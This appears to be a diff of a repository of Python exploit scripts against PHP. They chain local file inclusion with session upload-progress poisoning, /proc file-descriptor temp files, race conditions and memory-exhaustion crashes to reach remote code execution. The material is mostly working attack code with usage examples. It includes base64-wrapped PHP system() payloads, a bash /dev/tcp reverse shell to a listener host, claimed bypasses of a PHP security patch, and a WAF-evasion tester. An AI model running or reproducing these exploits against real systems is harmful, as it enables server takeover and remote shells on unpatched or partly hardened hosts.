if done and done.is_set():
break
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except Exception:
pass
try:
recv_all(sock, timeout=2)
except Exception:
pass
try:
sock.close()
except Exception:
pass
def lfi_probe(host, port, tls, path, lfi_param, proc_path):
"""Send LFI request targeting a /proc path."""
lfi_url = f"{path}?{lfi_param}={proc_path}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return body_of(resp)
except Exception:
return b""
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" HARDENING BYPASS: /proc/PID/fd Temp File RCE")
print(" Bypasses patch + upload_progress=0 + session cleanup")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# Discover worker PIDs
if args.pid:
pids = [args.pid]
print(f"[*] Using specified PID: {args.pid}")
else:
print("[*] Discovering FPM worker PIDs...")
pids = discover_pids(host, port, tls, path, count=30)
if not pids:
print("[!] Could not discover PIDs (target may not echo pid)")
print(" Try --pid <pid> or --pid-range <start>-<end>")
if args.pid_range:
start, end = map(int, args.pid_range.split("-"))
pids = list(range(start, end + 1))
print(f" Using PID range: {start}-{end}")
else:
sys.exit(1)
else:
print(f" Found PIDs: {pids}")
print()
fd_range = range(args.fd_start, args.fd_end + 1)
for attempt in range(args.attempts):
print(f"[*] Attempt {attempt+1}/{args.attempts}")
started = threading.Event()
done = threading.Event()
# Launch slow uploads on multiple threads to occupy workers
threads = []
for i in range(args.upload_threads):
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, php_code, 15.0,
started if i == 0 else None, done),
daemon=True,
)
t.start()
threads.append(t)
started.wait(timeout=5)
time.sleep(0.5)
print(f" {args.upload_threads} slow uploads in progress")
hit = False
for probe_round in range(args.probes):
if hit:
break
for pid in pids:
if hit:
break
for fd in fd_range:
proc_path = f"/proc/{pid}/fd/{fd}"
rbody = lfi_probe(host, port, tls, path, args.lfi_param, proc_path)
if b"CVE2026:" in rbody:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Via: {proc_path}")
print("[+] RCE achieved WITHOUT session poisoning!")
print("[+] Bypasses: security patch, upload_progress=0,")
print("[+] session cleanup, WAF session rules")
print("[+] Only mitigation: disable file uploads entirely,")
print("[+] mount /proc with hidepid=2, or fix the LFI")
hit = True
break
if not hit and probe_round < args.probes - 1:
time.sleep(0.01)
done.set()
for t in threads:
t.join(timeout=3)
if hit:
return
print(f" No hit — upload may have finished or wrong PID/FD range")
print()
print("[!] All attempts failed.")
print(" Try: --pid <known_pid> --fd-start 3 --fd-end 10")
print(" Or: --upload-threads 3 --probes 200")
def main():
ap = argparse.ArgumentParser(
description="Hardening Bypass: RCE via /proc/PID/fd temp file (Linux only)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit does NOT use session poisoning. It includes the PHP temp file
created during a multipart upload via /proc/<pid>/fd/<N>.
It bypasses ALL recommended mitigations:
- PHP 8.4.27 security patch
- session.upload_progress.enabled=0
- session.upload_progress.cleanup=1
- WAF rules blocking session-related headers
The only defenses are:
- Fix the LFI vulnerability
- Mount /proc with hidepid=2 (hides other processes' FDs)
- Disable file uploads entirely (not practical for most apps)
- Use open_basedir to restrict /proc access
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --cmd 'id' --pid 12345
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --pid-range 1-100
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--pid", type=int,
help="Known target worker PID")
ap.add_argument("--pid-range",
help="PID range to brute-force, e.g. 1-100")
ap.add_argument("--fd-start", type=int, default=3,
help="First FD to probe (default: 3)")
ap.add_argument("--fd-end", type=int, default=10,
help="Last FD to probe (default: 10)")
ap.add_argument("--upload-threads", type=int, default=2,
help="Concurrent slow uploads (default: 2)")
ap.add_argument("--probes", type=int, default=100,
help="LFI probe rounds per attempt (default: 100)")
ap.add_argument("--attempts", type=int, default=5,
help="Number of attempts (default: 5)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
-265
View File
@@ -1,265 +0,0 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via session upload progress race condition on PHP 8.4.27+
The PHP security patch released 2026-10-21 (PHP 8.4.27, 8.3.36, 8.2.35, 8.5.12)
fixes CVE-2026-109618 (OOM-based session persistence) by replacing longjmp()
with a soft/hard OOM that ensures proper cleanup.
However, the session upload progress race condition is NOT fixed by the patch.
This is because the race window is inherent to the feature's design:
1. PHP_SESSION_UPLOAD_PROGRESS writes attacker-controlled data to the session
file on disk during multipart parsing (MULTIPART_EVENT_START/UPDATE)
2. The session file contains: upload_progress_<PHP_CODE>|a:5:{serialized_data}
3. The data persists on disk for the duration of the file upload
4. Cleanup only runs at MULTIPART_EVENT_END when parsing completes
5. A concurrent request can include the session file via LFI during this window
The patch fixes the OOM path (where cleanup was skipped entirely) but does not
close this inherent TOCTOU race. The advisory acknowledges this by recommending
session.upload_progress.enabled=0 even after patching.
Requirements:
- PHP-FPM (or mod_php) with session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
- Multiple FPM workers (pm.max_children > 1)
Tested: PHP 8.4.27 (patched), PHP 8.4.24 (unpatched), PHP 8.3.0
Usage:
python3 race_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 race_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import threading
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def slow_upload(host, port, tls, path, sid, php_code, duration=10.0):
"""Send slow multipart upload to keep session file populated on disk."""
bnd = b"----RACEBYPASS" + os.urandom(4).hex().encode()
head = (
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
b"\r\n" + php_code + b"\r\n"
b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n"
)
file_size = 4 * 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total = len(head) + file_size + len(tail)
sock = tcp_connect(host, port, tls, timeout=int(duration) + 10)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
+ head
)
sent = 0
t0 = time.time()
try:
while sent < file_size and (time.time() - t0) < duration:
sock.sendall(b"\x00" * 4096)
sent += 4096
time.sleep(0.04)
sock.sendall(tail)
except:
pass
try:
recv_all(sock, timeout=2)
except:
pass
sock.close()
def lfi_probe(host, port, tls, lfi_path, sid):
"""Send LFI request and return response body."""
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
return resp
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: Race Condition RCE on PHP 8.4.27+ (patched)")
print(" Session upload progress race — NOT fixed by the 2026-10-21 patch")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
t = threading.Thread(
target=slow_upload,
args=(host, port, tls, path, sid, php_code, 10.0),
daemon=True,
)
t.start()
time.sleep(0.3)
hit = False
for i in range(400):
if not t.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
lfi_path = f"{path}?{args.lfi_param}={sess_file}"
try:
resp = lfi_probe(host, port, tls, lfi_path, sid)
rbody = body_of(resp)
if b"CVE2026:" in rbody:
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)",
rbody.decode(errors="replace"))
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END",
rbody.decode(errors="replace"), re.DOTALL)
result = m.group(1).strip() if m else rbody.decode(errors="replace")[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print("[+] RCE achieved against PATCHED PHP!")
print("[+] The 2026-10-21 security patch does NOT fix this.")
print("[+] Mitigation: session.upload_progress.enabled=0")
hit = True
break
except:
pass
if hit:
break
time.sleep(0.005)
t.join(timeout=2)
if hit:
return
print(f" Race lost")
print("\n[!] All attempts failed. Try --attempts 20 or --session-path")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via session race on PHP 8.4.27+ (patched)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
This exploit demonstrates that the PHP security patch (2026-10-21)
does NOT fix the session upload progress race condition.
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--attempts", type=int, default=10,
help="Race attempts (default: 10)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
-312
View File
@@ -1,312 +0,0 @@
#!/usr/bin/env python3
"""
Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+ (patched)
The PHP security patch (2026-10-21) replaces longjmp()-based OOM handling with:
- Soft OOM: deferred to VM safe point (graceful shutdown)
- Hard OOM: immediate _exit(70) when allocation fails during parsing
However, this patch only intercepts OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 (unlimited) and the OS enforces address space limits via
RLIMIT_AS (setrlimit/ulimit -v/cgroup memory.max), mmap() fails during
multipart field allocation. This failure goes through a DIFFERENT code path
that the patch does NOT cover:
1. PHP has memory_limit=-1 → no PHP-level OOM possible
2. RLIMIT_AS (or cgroup memory limit) restricts process address space
3. During multipart parsing, mmap() fails when address space is exhausted
4. The failure triggers the OLD vulnerable code path (not the patched one)
5. Worker exits with code 1 (not the patched exit code 70)
6. Session file persists on disk with attacker-controlled PHP code
7. New worker spawns → LFI includes the poisoned session file → RCE
This is relevant in production because:
- Container environments (Docker, k8s) often set memory limits via cgroups
- Shared hosting uses RLIMIT_AS to isolate tenants
- Admins may set memory_limit=-1 trusting OS-level limits instead
- The advisory does NOT mention this bypass path
Requirements:
- PHP-FPM with memory_limit=-1 (or very high)
- OS-level memory limit (RLIMIT_AS, cgroup, Docker --memory)
- session.upload_progress.enabled=1 (DEFAULT)
- An LFI vector in the target application
- Known or guessable session.save_path
Tested: PHP 8.4.27 (patched) with RLIMIT_AS=128MB
Usage:
python3 rlimit_bypass_patched.py -t http://target/app.php --cmd 'id'
python3 rlimit_bypass_patched.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
]
def tcp_connect(host, port, tls, timeout=120):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def recv_all(sock, timeout=5):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def body_of(resp):
if b"\r\n\r\n" in resp:
return resp.split(b"\r\n\r\n", 1)[1]
return resp
def build_oom_body(bnd, php_code, field_count=10000, field_size=8192):
"""Build multipart body designed to exhaust address space via mmap()."""
body = b""
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
body += b"\r\n" + php_code + b"\r\n"
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="file"; filename="oom.bin"\r\n'
body += b"Content-Type: application/octet-stream\r\n\r\n"
body += b"\x00" * 4096 + b"\r\n"
for i in range(field_count):
body += b"--" + bnd + b"\r\n"
body += b'Content-Disposition: form-data; name="p' + f"{i:05d}".encode() + b'"\r\n'
body += b"\r\n" + b"X" * field_size + b"\r\n"
body += b"--" + bnd + b"--\r\n"
return body
def phase1_crash(host, port, tls, path, sid, php_code, field_count, field_size):
"""Phase 1: Send massive multipart to trigger mmap() failure and crash worker."""
bnd = b"----RLIMITRCE"
body = build_oom_body(bnd, php_code, field_count, field_size)
print(f" Body: {len(body)/1048576:.1f}MB ({field_count} fields x {field_size}B)")
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError):
pass
resp = b""
sock.settimeout(30)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except (socket.timeout, ConnectionResetError):
pass
sock.close()
status = 0
try:
status = int(resp.split(b" ")[1])
except (IndexError, ValueError):
pass
return status
def phase2_lfi(host, port, tls, path, lfi_param, sid, session_paths):
"""Phase 2: Include poisoned session file via LFI after worker respawns."""
for sp in session_paths:
sess_file = f"{sp}/sess_{sid}"
lfi_url = f"{path}?{lfi_param}={sess_file}"
try:
sock = tcp_connect(host, port, tls, timeout=10)
sock.sendall(
b"GET " + lfi_url.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout=5)
sock.close()
rbody = body_of(resp)
if b"CVE2026:" in rbody:
return rbody, sp
except Exception:
continue
return None, None
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:".php_uname().":".posix_getuid(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only")
sys.exit(1)
print("=" * 65)
print(" PATCH BYPASS: RLIMIT_AS mmap() Failure RCE on PHP 8.4.27+")
print(" memory_limit=-1 + RLIMIT_AS → mmap fails → old OOM path")
print("=" * 65)
print(f" Target : {args.target}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} x {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
for attempt in range(args.attempts):
sid = os.urandom(16).hex()
print(f"[*] Attempt {attempt+1}/{args.attempts} — SID: {sid}")
print(f" Phase 1: Triggering mmap() failure via multipart flood...")
status = phase1_crash(host, port, tls, path, sid, php_code,
args.fields, args.field_size)
print(f" HTTP {status} — worker crashed (mmap failure)")
print(f" Waiting {args.respawn_wait}s for worker respawn...")
time.sleep(args.respawn_wait)
print(f" Phase 2: LFI include of poisoned session file...")
rbody, found_path = phase2_lfi(host, port, tls, path, args.lfi_param,
sid, spaths)
if rbody is not None:
text = rbody.decode(errors="replace")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", text)
print(f"\n[+] Code execution confirmed!")
if m:
print(f" {m.group(1)}")
elif args.cmd:
m = re.search(r"CVE2026:(.*?):END", text, re.DOTALL)
result = m.group(1).strip() if m else text[:500]
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
else:
print(f"\n[+] Payload sent — check {args.lhost}:{args.lport}")
print()
print(f"[+] Session path: {found_path}")
print("[+] RCE achieved via RLIMIT_AS mmap() bypass!")
print("[+] The 2026-10-21 patch does NOT handle mmap() failure path.")
print("[+] Affects: containers with cgroup limits, shared hosting with")
print("[+] RLIMIT_AS, any env where memory_limit=-1 + OS limits.")
print("[+] Mitigation: session.upload_progress.enabled=0")
return
print(f" Session file not found or already cleaned")
print()
print("[!] All attempts failed.")
print(" Possible causes:")
print(" - Target has PHP memory_limit set (not -1) → use standard exploit")
print(" - Target has no RLIMIT_AS/cgroup limit → mmap won't fail")
print(" - Session save path not in search list → use --session-path")
print(" - Worker respawn too slow → increase --respawn-wait")
def main():
ap = argparse.ArgumentParser(
description="Patch Bypass: RCE via RLIMIT_AS mmap() failure on PHP 8.4.27+",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
The PHP 8.4.27 patch only handles OOM from PHP's memory_limit (zend_mm).
When memory_limit=-1 and RLIMIT_AS (or cgroup) limits address space,
mmap() fails through a DIFFERENT path the patch doesn't cover.
Preconditions:
- Target uses memory_limit=-1 (trusting OS limits)
- OS enforces RLIMIT_AS or cgroup memory limit
- session.upload_progress.enabled=1 (default)
The only effective mitigation is: session.upload_progress.enabled=0
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only --session-path /var/lib/php/sessions
%(prog)s -t http://target/app.php --cmd 'id' --fields 15000 --field-size 4096
""")
ap.add_argument("-t", "--target", required=True, help="Target URL with LFI")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vulnerability only")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--session-path",
help="session.save_path on target")
ap.add_argument("--fields", type=int, default=10000,
help="Number of multipart fields (default: 10000)")
ap.add_argument("--field-size", type=int, default=8192,
help="Size of each field value in bytes (default: 8192)")
ap.add_argument("--respawn-wait", type=float, default=3.0,
help="Seconds to wait for worker respawn (default: 3.0)")
ap.add_argument("--attempts", type=int, default=3,
help="Number of attempts (default: 3)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
-144
View File
@@ -1,144 +0,0 @@
#!/usr/bin/env python3
"""
WAF Bypass Tests for php2shell mitigations (CVE-2026-109618 / CVE-2026-109619)
Tests Content-Type evasion techniques against nginx/Apache WAF rules
that block multipart/form-data POST requests.
Tested against the community-recommended mitigations from:
- PasqualePillitteri/php2shell-hardening
- syhunt/php2shell-protection
Findings:
1. PUT/PATCH methods bypass POST-only WAF rules
- PHP 8.4's request_parse_body() parses multipart on these methods
- Session upload progress only fires on POST (rfc1867 handler)
- BUT: applications calling request_parse_body() on PUT/PATCH remain exposed
2. Duplicate Content-Type headers can bypass nginx $http_content_type matching
- nginx $http_content_type returns the first header value
- FastCGI CONTENT_TYPE joins all headers with ", "
- PHP truncates at first comma → takes the first value
- Result: nginx sees "text/plain" (no match), PHP sees "text/plain" (no multipart)
- PARTIAL bypass: passes WAF but doesn't trigger multipart parsing
3. Content-Type with reversed comma order bypasses nginx but not PHP
- "text/plain,multipart/form-data" → nginx doesn't match → WAF bypassed
- PHP truncates at comma → "text/plain" → no multipart parsing
- Same as #2: passes WAF but useless for the attack
4. The effective WAF bypass for the session poisoning attack is:
- If the WAF blocks multipart POST but allows normal POST
- AND the application has session.upload_progress.enabled=1
- The attacker can still race with the session file (no multipart needed for LFI)
- Only the POISON request needs multipart; the LFI probe is a normal GET
Usage:
python3 waf_bypass_test.py --target http://waf-target:8080 --unprotected http://direct-target:8080
"""
import argparse
import socket
import sys
def send_request(host, port, method, path, headers, body=b""):
"""Send raw HTTP request and return status code."""
sock = socket.create_connection((host, port), timeout=10)
req = f"{method} {path} HTTP/1.1\r\nHost: {host}\r\n".encode()
for k, v in headers.items():
if isinstance(v, list):
for val in v:
req += f"{k}: {val}\r\n".encode()
else:
req += f"{k}: {v}\r\n".encode()
if body:
req += f"Content-Length: {len(body)}\r\n".encode()
req += b"Connection: close\r\n\r\n"
if body:
req += body
sock.sendall(req)
resp = b""
sock.settimeout(5)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except:
pass
sock.close()
try:
return int(resp.split(b" ")[1])
except:
return 0
def run_tests(waf_host, waf_port, plain_host, plain_port):
bnd = "----WAFTEST"
body = f"------WAFTEST\r\nContent-Disposition: form-data; name=\"test\"\r\n\r\nvalue\r\n------WAFTEST--\r\n".encode()
tests = [
("Standard multipart POST",
"POST", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("Mixed case: Multipart/Form-Data",
"POST", {"Content-Type": f"Multipart/Form-Data; boundary={bnd}"}),
("ALL CAPS: MULTIPART/FORM-DATA",
"POST", {"Content-Type": f"MULTIPART/FORM-DATA; boundary={bnd}"}),
("Leading whitespace",
"POST", {"Content-Type": f" multipart/form-data; boundary={bnd}"}),
("Comma-separated (multipart first)",
"POST", {"Content-Type": f"multipart/form-data,text/plain; boundary={bnd}"}),
("Comma-separated (text/plain first)",
"POST", {"Content-Type": f"text/plain,multipart/form-data; boundary={bnd}"}),
("Duplicate CT (text/plain first)",
"POST", {"Content-Type": ["text/plain", f"multipart/form-data; boundary={bnd}"]}),
("Duplicate CT (multipart first)",
"POST", {"Content-Type": [f"multipart/form-data; boundary={bnd}", "text/plain"]}),
("PUT method",
"PUT", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
("PATCH method",
"PATCH", {"Content-Type": f"multipart/form-data; boundary={bnd}"}),
]
print(f"{'Test':<45} {'WAF':>5} {'Direct':>6} {'Bypass?'}")
print("-" * 75)
for name, method, headers in tests:
waf_code = send_request(waf_host, waf_port, method, "/wp-login.php", headers, body)
direct_code = send_request(plain_host, plain_port, method, "/wp-login.php", headers, body)
bypass = "YES" if waf_code != 403 and direct_code in (200, 301, 302, 500) else ""
if waf_code != 403:
bypass = f"WAF:{waf_code}"
print(f"{name:<45} {waf_code:>5} {direct_code:>6} {bypass}")
def main():
ap = argparse.ArgumentParser(description="WAF bypass tests for php2shell mitigations")
ap.add_argument("--target", required=True, help="WAF-protected URL")
ap.add_argument("--unprotected", required=True, help="Unprotected URL (for comparison)")
args = ap.parse_args()
from urllib.parse import urlparse
waf = urlparse(args.target)
plain = urlparse(args.unprotected)
print("=" * 75)
print(" WAF Bypass Tests for php2shell Mitigations")
print("=" * 75)
print(f" WAF target : {args.target}")
print(f" Unprotected : {args.unprotected}")
print()
run_tests(waf.hostname, waf.port, plain.hostname, plain.port)
print()
print("Notes:")
print(" - PUT/PATCH bypass WAF but don't trigger session.upload_progress")
print(" - Comma/duplicate CT tricks pass WAF but PHP doesn't parse as multipart")
print(" - The race exploit only needs multipart for the POISON request (POST)")
print(" - The LFI probe is a normal GET, which no WAF blocks")
if __name__ == "__main__":
main()
-17
View File
@@ -1,17 +0,0 @@
<?php
header('Content-Type: text/plain');
$pid = getmypid();
$status_pre = session_status();
$sid_pre = session_id();
$ok = @session_start();
$status_post = session_status();
$sid_post = session_id();
$data = isset($_SESSION) ? $_SESSION : [];
echo "pid=$pid\n";
echo "session_status_before=$status_pre\n";
echo "session_id_before=$sid_pre\n";
echo "session_start_ok=" . var_export($ok, true) . "\n";
echo "session_status_after=$status_post\n";
echo "session_id_after=$sid_post\n";
echo "session_data=" . json_encode($data) . "\n";
echo "session_save_path=" . session_save_path() . "\n";
-426
View File
@@ -1,426 +0,0 @@
#!/usr/bin/env python3
"""
CVE-2026-109618 — PHP Multipart Parser OOM → Session Poisoning → RCE
The PHP multipart parser (rfc1867.c) allocates memory for each form field
during request parsing. By sending enough fields to exceed memory_limit
(or RLIMIT_AS), OOM triggers during parsing itself. The resulting
zend_bailout() longjmps past the MULTIPART_EVENT_END handler, which
skips session.upload_progress cleanup — even with cleanup=1 (default).
The session file — poisoned via PHP_SESSION_UPLOAD_PROGRESS with embedded
PHP code — persists on disk. A follow-up request to a new FPM worker
includes this file via an LFI vector, executing our code.
Phase 1 ─ Poison + Crash
Multipart body:
1. PHP_SESSION_UPLOAD_PROGRESS = <?php PAYLOAD ?>
2. File upload (triggers progress handler → session flush to disk)
3. N form fields (OOM during parsing → bailout → cleanup skipped)
Worker crashes → session file persists with PHP code on disk.
Phase 2 ─ Trigger
FPM master spawns new worker. We include the session file via LFI
and the embedded PHP code executes.
Requirements:
- PHP-FPM with session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields (or RLIMIT_AS)
- An LFI vector in the target (include/require with user input)
- Known or guessable session.save_path
Tested: PHP 8.1–8.4, x86_64 Linux, NTS.
Usage:
python3 exploit.py -t http://target/app.php --cmd 'id'
python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 exploit.py -t http://target/app.php --trigger-only
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
# ─── defaults ────────────────────────────────────────────────────────
FIELD_COUNT = 30000
FIELD_SIZE = 512
BATCH = 500
USE_CHUNKED = True
